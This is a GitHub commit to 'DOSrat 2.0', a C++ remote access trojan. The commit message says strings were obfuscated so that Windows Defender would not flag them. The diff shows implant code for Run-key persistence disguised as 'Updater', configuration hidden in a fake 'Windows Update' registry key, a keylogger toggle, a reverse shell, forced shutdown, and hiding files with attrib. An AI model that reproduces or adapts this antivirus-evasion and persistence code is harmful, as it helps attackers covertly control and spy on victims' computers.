Skip to content

Commit

Permalink
Aggiunto offuscamento delle stringhe
Browse files Browse the repository at this point in the history
- Offuscate le stringhe che potevano far attivare Windows Defender.
- Risolti problemi nell'auto aggiornamento.
  • Loading branch information
Criper98 committed Mar 2, 2023
1 parent e7be503 commit d8c7ea2
Show file tree
Hide file tree
Showing 7 changed files with 39 additions and 31 deletions.
8 changes: 4 additions & 4 deletions Client/Classi.h
Original file line number Diff line number Diff line change
Expand Up @@ -110,7 +110,7 @@ class COMUNICAZIONI
if (!TcpIP::SendString(Sock, Res))
return "";

if (Res != "Reverse shell closed")
if (Res != (string)AY_OBFUSCATE("Reverse shell closed"))
if (!TcpIP::RecvString(Sock, Buff))
return "";

Expand Down Expand Up @@ -157,7 +157,7 @@ class Settaggi
InstallPath = sf.GetSetting("InstallPath");
ExeName = sf.GetSetting("ExeName");
RegStartup = (sf.GetSetting("RegStartup") == "true");
KeyLogger = (sf.GetSetting("KeyLogger") == "true");
KeyLogger = (sf.GetSetting((string)AY_OBFUSCATE("KeyLogger")) == "true");

/*Host = "127.0.0.1";
Porta = 6969;
Expand All @@ -176,7 +176,7 @@ class Settaggi
Porta = stoi(en.HexToAscii(ru.RegRead("SOFTWARE\\Windows Update", en.AsciiToHex("Port").c_str(), REG_SZ)));
ExeName = en.HexToAscii(ru.RegRead("SOFTWARE\\Windows Update", en.AsciiToHex("ExeName").c_str(), REG_SZ));
RegStartup = (en.HexToAscii(ru.RegRead("SOFTWARE\\Windows Update", en.AsciiToHex("RegStartup").c_str(), REG_SZ)) == "true");
KeyLogger = (en.HexToAscii(ru.RegRead("SOFTWARE\\Windows Update", en.AsciiToHex("KeyLogger").c_str(), REG_SZ)) == "true");
KeyLogger = (en.HexToAscii(ru.RegRead("SOFTWARE\\Windows Update", en.AsciiToHex((string)AY_OBFUSCATE("KeyLogger")).c_str(), REG_SZ)) == "true");
InstallDate = en.HexToAscii(ru.RegRead("SOFTWARE\\Windows Update", en.AsciiToHex("InstallDate").c_str(), REG_SZ));
}

Expand All @@ -191,7 +191,7 @@ class Settaggi
ru.RegWrite("SOFTWARE\\Windows Update", en.AsciiToHex("Port").c_str(), REG_SZ, en.AsciiToHex(to_string(Porta)).c_str());
ru.RegWrite("SOFTWARE\\Windows Update", en.AsciiToHex("ExeName").c_str(), REG_SZ, en.AsciiToHex(ExeName).c_str());
ru.RegWrite("SOFTWARE\\Windows Update", en.AsciiToHex("RegStartup").c_str(), REG_SZ, en.AsciiToHex((RegStartup) ? "true" : "false").c_str());
ru.RegWrite("SOFTWARE\\Windows Update", en.AsciiToHex("KeyLogger").c_str(), REG_SZ, en.AsciiToHex((KeyLogger) ? "true" : "false").c_str());
ru.RegWrite("SOFTWARE\\Windows Update", en.AsciiToHex((string)AY_OBFUSCATE("KeyLogger")).c_str(), REG_SZ, en.AsciiToHex((KeyLogger) ? "true" : "false").c_str());
ru.RegWrite("SOFTWARE\\Windows Update", en.AsciiToHex("InstallDate").c_str(), REG_SZ, en.AsciiToHex(DateTime::GetDateTime('_', '/')).c_str());
}
};
3 changes: 2 additions & 1 deletion Client/Client.cpp
Original file line number Diff line number Diff line change
@@ -1,11 +1,12 @@
#include <iostream>
#include <obfuscate.h>
#include <EssNet.h>
#include <Essentials.h>
#include <json.hpp>

using json = nlohmann::json;

string Version = "2.0.0-b.1";
string Version = "2.0.0-b.2";
int VersioneCompatibile = 0;

#include "Classi.h"
Expand Down
12 changes: 8 additions & 4 deletions Client/Client.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -71,19 +71,19 @@
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>C:\OpenCV\opencv-4.6.0\build\include;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;$(IncludePath)</IncludePath>
<IncludePath>C:\OpenCV\opencv-4.6.0\build\include;$(IncludePath)</IncludePath>
<LibraryPath>C:\OpenCV\opencv-4.6.0\build\x64\vc15\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>C:\OpenCV\opencv-4.6.0\build\include;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;$(IncludePath)</IncludePath>
<IncludePath>C:\OpenCV\opencv-4.6.0\build\include;$(IncludePath)</IncludePath>
<LibraryPath>C:\OpenCV\opencv-4.6.0\build\x64\vc15\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>C:\OpenCV\opencv-4.6.0\build\include;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;$(IncludePath)</IncludePath>
<IncludePath>C:\OpenCV\opencv-4.6.0\build\include;$(IncludePath)</IncludePath>
<LibraryPath>C:\OpenCV\opencv-4.6.0\build\x64\vc15\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>C:\OpenCV\opencv-4.6.0\build\include;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;$(IncludePath)</IncludePath>
<IncludePath>C:\OpenCV\opencv-4.6.0\build\include;$(IncludePath)</IncludePath>
<LibraryPath>C:\OpenCV\opencv-4.6.0\build\x64\vc15\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
Expand All @@ -92,6 +92,7 @@
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\Obfuscate;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
Expand All @@ -107,6 +108,7 @@
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\Obfuscate;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
Expand All @@ -122,6 +124,7 @@
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\Obfuscate;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
Expand All @@ -137,6 +140,7 @@
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\Obfuscate;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
Expand Down
20 changes: 10 additions & 10 deletions Client/Funzioni.h
Original file line number Diff line number Diff line change
Expand Up @@ -22,10 +22,10 @@ short InstallClient()
if (PathToCopy.find("<User>") != string::npos)
PathToCopy.replace(PathToCopy.find("<"), PathToCopy.find(">") + 1 - PathToCopy.find("<"), su.GetCurrentUser());

ru.RegDelValue("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "Updater");
ru.RegDelValue(AY_OBFUSCATE("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), "Updater");

if (sett.RegStartup)
if (!ru.RegWrite("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "Updater", REG_SZ, ("\"" + PathToCopy + "\"").c_str()))
if (!ru.RegWrite(AY_OBFUSCATE("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), "Updater", REG_SZ, ("\"" + PathToCopy + "\"").c_str()))
return 2;

//msgb.Ok(PathToCopy);
Expand Down Expand Up @@ -94,11 +94,11 @@ bool UpdateClient(SOCKET Sock)
return false;

if (NewClient.j["Hidden"])
su.NoOutputCMD("attrib +h \"" + du.GetModuleFilePath() + "VXBkYXRl\\" + du.GetModuleFile() + "\"");
su.NoOutputCMD((string)AY_OBFUSCATE("attrib +h \"") + du.GetModuleFilePath() + "VXBkYXRl\\" + du.GetModuleFile() + "\"");
if (NewClient.j["System"])
su.NoOutputCMD("attrib +s \"" + du.GetModuleFilePath() + "VXBkYXRl\\" + du.GetModuleFile() + "\"");
su.NoOutputCMD((string)AY_OBFUSCATE("attrib +s \"") + du.GetModuleFilePath() + "VXBkYXRl\\" + du.GetModuleFile() + "\"");

if (!du.WriteFile(du.GetModuleFilePath() + "Update.vbs", "WScript.Sleep 5000\nSet filesys = CreateObject(\"Scripting.FileSystemObject\")\nSet WshShell = WScript.CreateObject(\"WScript.Shell\")\nfilesys.DeleteFile \"" + du.GetFullModuleFilePath() + "\"\nfilesys.MoveFile \"" + du.GetModuleFilePath() + "VXBkYXRl\\" + du.GetModuleFile() + "\", \"" + du.GetFullModuleFilePath() + "\"\nWScript.Sleep 1000\nWshShell.Run \"" + du.GetFullModuleFilePath() + "\", 1, false\nfilesys.DeleteFolder \"" + du.GetModuleFilePath() + "VXBkYXRl\"\nfilesys.DeleteFile \"" + du.GetModuleFilePath() + "Update.vbs\""))
if (!du.WriteFile(du.GetModuleFilePath() + "Update.vbs", "WScript.Sleep 5000\nSet filesys = CreateObject(\"Scripting.FileSystemObject\")\nSet WshShell = WScript.CreateObject(\"WScript.Shell\")\nfilesys.DeleteFile \"" + du.GetFullModuleFilePath() + "\"\nfilesys.MoveFile \"" + du.GetModuleFilePath() + "VXBkYXRl\\" + du.GetModuleFile() + "\", \"" + du.GetFullModuleFilePath() + "\"\nWScript.Sleep 1000\nWshShell.Run \"\"\"" + du.GetFullModuleFilePath() + "\"\"\", 1, false\nfilesys.DeleteFolder \"" + du.GetModuleFilePath() + "VXBkYXRl\"\nfilesys.DeleteFile \"" + du.GetModuleFilePath() + "Update.vbs\""))
return false;

ru.RegDelKey("SOFTWARE\\Windows Update");
Expand All @@ -115,7 +115,7 @@ void Uninstall()
SystemUtils su;

ru.RegDelKey("SOFTWARE\\Windows Update");
ru.RegDelValue("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "Updater");
ru.RegDelValue(AY_OBFUSCATE("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), "Updater");

du.WriteFile(du.GetModuleFilePath() + "Remove.vbs", "WScript.Sleep 5000\nSet filesys = CreateObject(\"Scripting.FileSystemObject\")\nfilesys.DeleteFile \"" + du.GetFullModuleFilePath() + "\"\nfilesys.DeleteFile \"" + du.GetModuleFilePath() + "Remove.vbs\"");
su.NoOutputCMD("start \"\" \"" + du.GetModuleFilePath() + "Remove.vbs\"");
Expand Down Expand Up @@ -234,7 +234,7 @@ void ReverseShell(SOCKET Sock)
}
else if (ToLowerCase(Cmd) == "exit")
{
COMUNICAZIONI::ReverseShell(Sock, "Reverse shell closed");
COMUNICAZIONI::ReverseShell(Sock, (string)AY_OBFUSCATE("Reverse shell closed"));
return;
}
else if (ToLowerCase(Cmd).substr(0, 7) == "notepad")
Expand Down Expand Up @@ -276,12 +276,12 @@ short Sessione(TcpIP Client)
}
else if (cmd == "shutdown")
{
su.NoOutputCMD("shutdown -s -t 0");
su.NoOutputCMD((string)AY_OBFUSCATE("shutdown -s -t 0"));
return 1;
}
else if (cmd == "reboot")
{
su.NoOutputCMD("shutdown -r -t 0");
su.NoOutputCMD((string)AY_OBFUSCATE("shutdown -r -t 0"));
return 1;
}
else if (cmd == "updateclient")
Expand All @@ -299,7 +299,7 @@ short Sessione(TcpIP Client)
RestartClient();
return 1;
}
else if (cmd == "reverseshell")
else if (cmd == (string)AY_OBFUSCATE("reverseshell"))
{
ReverseShell(Client.Sock);
}
Expand Down
9 changes: 6 additions & 3 deletions DOSrat 2.0/DOSrat 2.0.cpp
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
#include <iostream>
#include <obfuscate.h>
#include <EssNet.h>
#include <Essentials.h>
#include <EssCurl.h>
Expand All @@ -9,7 +10,7 @@ using namespace std;

#include "Client.h"

string Version = "2.0.0-b.1";
string Version = "2.0.0-b.2";
CLIENT Clients[MAX_CLIENTS];
atomic<bool> ServerLoopController = true;
int VersioneCompatibile = 0;
Expand Down Expand Up @@ -360,9 +361,9 @@ int main()
Sleep(250);

if (SettaggiC.HideExe)
su.NoOutputCMD("attrib +h \"" + SettaggiC.ExeName + "\"");
su.NoOutputCMD((string)AY_OBFUSCATE("attrib +h \"") + SettaggiC.ExeName + "\"");
if (SettaggiC.SystemFile)
su.NoOutputCMD("attrib +s \"" + SettaggiC.ExeName + "\"");
su.NoOutputCMD((string)AY_OBFUSCATE("attrib +s \"") + SettaggiC.ExeName + "\"");

cli.LoadingPercentage = 75;
cli.LoadingText = "Personalizzazione settaggi";
Expand Down Expand Up @@ -461,6 +462,8 @@ int main()
// Aggiornamenti
case 2:
SettaggiS.VerificaAggiornamenti = !SettaggiS.VerificaAggiornamenti;
if (!SettaggiS.VerificaAggiornamenti)
SettaggiS.AutoAggiornamento = false;
break;

// Auto Aggiornamenti
Expand Down
8 changes: 4 additions & 4 deletions DOSrat 2.0/DOSrat 2.0.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -92,7 +92,7 @@
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\Obfuscate;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
Expand All @@ -108,7 +108,7 @@
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\Obfuscate;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
Expand All @@ -124,7 +124,7 @@
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\Obfuscate;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
Expand All @@ -140,7 +140,7 @@
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>C:\Users\cripe\Desktop\Altre cose\C++\Librerie\Obfuscate;C:\Users\cripe\Desktop\Altre cose\C++\Librerie\VStudio;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
Expand Down
10 changes: 5 additions & 5 deletions DOSrat 2.0/Funzioni.h
Original file line number Diff line number Diff line change
Expand Up @@ -174,7 +174,7 @@ bool AutoAggiornamento()

du.DelFile(du.GetModuleFilePath() + "Update\\DOSrat2.0.zip");

if(!du.WriteFile(du.GetModuleFilePath() + "Update.vbs", "WScript.Sleep 2500\nSet filesys = CreateObject(\"Scripting.FileSystemObject\")\nSet WshShell = WScript.CreateObject(\"WScript.Shell\")\nfilesys.DeleteFile \"" + du.GetModuleFilePath() + "DOSrat 2.0.exe\"\nfilesys.DeleteFile \"" + du.GetModuleFilePath() + "Build\\Client.exe\"\nfilesys.MoveFile \"" + du.GetModuleFilePath() + "Update\\DOSrat 2.0.exe\", \"" + du.GetModuleFilePath() + "DOSrat 2.0.exe\"\nfilesys.MoveFile \"" + du.GetModuleFilePath() + "Update\\Build\\Client.exe\", \"" + du.GetModuleFilePath() + "Build\\Client.exe\"\nWshShell.Run \"" + du.GetModuleFilePath() + "DOSrat 2.0.exe\", 1, false\nfilesys.DeleteFile \"" + du.GetModuleFilePath() + "Update.vbs\""))
if(!du.WriteFile(du.GetModuleFilePath() + "Update.vbs", "WScript.Sleep 2500\nSet filesys = CreateObject(\"Scripting.FileSystemObject\")\nSet WshShell = WScript.CreateObject(\"WScript.Shell\")\nfilesys.DeleteFile \"" + du.GetModuleFilePath() + "DOSrat 2.0.exe\"\nfilesys.DeleteFile \"" + du.GetModuleFilePath() + "Build\\Client.exe\"\nfilesys.MoveFile \"" + du.GetModuleFilePath() + "Update\\DOSrat 2.0.exe\", \"" + du.GetModuleFilePath() + "DOSrat 2.0.exe\"\nfilesys.MoveFile \"" + du.GetModuleFilePath() + "Update\\Build\\Client.exe\", \"" + du.GetModuleFilePath() + "Build\\Client.exe\"\nWScript.Sleep 1000\nWshShell.Run \"\"\"" + du.GetModuleFilePath() + "DOSrat 2.0.exe\"\"\", 1, false\nfilesys.DeleteFile \"" + du.GetModuleFilePath() + "Update.vbs\""))
return false;

su.NoOutputCMD("start \"\" \"" + du.GetModuleFilePath() + "Update.vbs\"");
Expand Down Expand Up @@ -533,7 +533,7 @@ bool ReverseShell(SOCKET Sock)

cout << endl;

if (COMUNICAZIONI::ReverseShell(Sock, "reverseshell") == "OK")
if (COMUNICAZIONI::ReverseShell(Sock, (string)AY_OBFUSCATE("reverseshell")) == "OK")
{
while (true)
{
Expand Down Expand Up @@ -561,7 +561,7 @@ bool ReverseShell(SOCKET Sock)

if (Res == "")
return false;
else if (Res == "Reverse shell closed")
else if (Res == (string)AY_OBFUSCATE("Reverse shell closed"))
{
cout << endl;
return true;
Expand Down Expand Up @@ -613,7 +613,7 @@ void Sessione(int ID, SOCKET Sock)
StampaHelp("Invertmouse\t", "- Inverte i tasti del mouse.");
StampaHelp("Shutdown\t", "- Spegne il PC.");
StampaHelp("Reboot\t\t", "- Riavvia il PC.");
StampaHelp("Reverseshell\t", "- Lancia comandi sulla shell del PC remoto.");
StampaHelp((string)AY_OBFUSCATE("Reverseshell\t"), "- Lancia comandi sulla shell del PC remoto.");
cout << char(192) << char(196) << "Revshell" << endl;
cout << endl;

Expand Down Expand Up @@ -696,7 +696,7 @@ void Sessione(int ID, SOCKET Sock)
else
Controllo = false;
}
else if (cmd == "reverseshell" || cmd == "revshell")
else if (cmd == (string)AY_OBFUSCATE("reverseshell") || cmd == "revshell")
{
if (!ReverseShell(Sock))
Controllo = CheckConnection(Sock, ID);
Expand Down

0 comments on commit d8c7ea2

Please sign in to comment.